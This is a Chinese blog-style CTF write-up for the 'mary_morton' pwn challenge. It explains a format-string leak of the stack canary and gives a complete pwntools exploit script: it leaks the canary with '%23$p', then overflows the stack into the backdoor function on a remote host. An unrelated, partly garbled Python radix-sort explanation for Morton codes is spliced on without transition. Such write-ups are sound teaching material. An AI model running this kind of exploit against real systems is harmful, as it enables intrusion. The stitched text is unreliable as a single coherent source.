mary_morton

mary_morton

这道题开启了canary保护,大概说一下题目,就是让你选择漏洞一个格式化字符漏洞还有一个就是栈溢出,这道题思路就是通过格式化字符漏洞泄露出cannary的值,然后进行栈溢出,后门题目已经给了。
在这里插入图片描述
来算算偏移量吧,buf为rbp-90h,canary就是v2为rbp-8h,所以偏移量为88h,然后在算一算格式化字符与Buf的偏移量就可以算出要多少字节来进行泄露了。调了一下,输了个aaaaaaaaaaaa.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x,然后得到aaaaaaaaaaaa.74451f60.0000007f.c4a83081.00000000.00000000.61616161.61616161.30252e78,显然得到偏移为6个字节,然后就可以写代码了。

from pwn import *

p=remote('111.198.29.45',59592)
system=0x4008De
p.recvuntil('3. Exit the battle')
p.sendline('2')
p.sendline('%23$p')
canary=int (p.recvuntil('1.')[:-2],16)
print(canary)
p.recvuntil('3. Exit the battle')
p.sendline('1')
payload=0x88*'a'+p64(canary)+p64(0xdeadbeef)+p64(system)
p.sendline(payload)

p.interactive()
基数排序是一种非比较型整数排序算法,其原理是将整数按位数切割成不同的数字,然后按每个位数分别比较。下面是根据Morton码对给定的位置信息进行基数排序的详细步骤: ### 步骤分析 1. **确定最大位数**:首先需要确定所有Morton码的最大位数。在这个例子中,所有Morton码都是6位,所以最大位数为6。 2. **从最低位开始排序**:从Morton码的最低位(最右边)开始,对所有位置信息按照该位的值进行排序。可以使用计数排序来实现这一步骤。 3. **依次处理更高位**:重复步骤2,直到处理完所有位数。 ### 代码实现 ```python def radix_sort(positions): # 提取Mortonmorton_codes = [int(code, 2) for _, code in positions] # 确定最大位数 max_digits = len(bin(max(morton_codes))[2:]) # 从最低位开始排序 for i in range(max_digits): # 初始化计数数组 count = [0] * 2 # 统计每个位值的出现次数 for code in morton_codes: bit = (code >> i) & 1 count[bit] += 1 # 计算累积计数 count[1] += count[0] # 初始化排序后的数组 sorted_morton_codes = [0] * len(morton_codes) sorted_positions = [None] * len(positions) # 填充排序后的数组 for j in range(len(morton_codes) - 1, -1, -1): bit = (morton_codes[j] >> i) & 1 index = count[bit] - 1 sorted_morton_codes[index] = morton_codes[j] sorted_positions[index] = positions[j] count[bit] -= 1 # 更新Morton码和位置信息 morton_codes = sorted_morton_codes positions = sorted_positions return positions # 给定的位置信息 positions = [ ([0.0, 0.0, 0.0], '000000'), ([2.0, 0.0, 0.0], '100000'), ([0.0, 2.0, 0.0], '010000'), ([0.0, 0.0, 2.0], '001000'), ([2.0, 2.0, 2.0], '111000') ] # 进行基数排序 sorted_positions = radix_sort(positions) print(sorted_positions) ``` ### 复杂度分析 - **时间复杂度**:$O(d * n)$,其中 $d$ 是Morton码的最大位数,$n$ 是位置信息的数量。 - **空间复杂度**:$O(n)$,主要用于存储排序后的数组。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值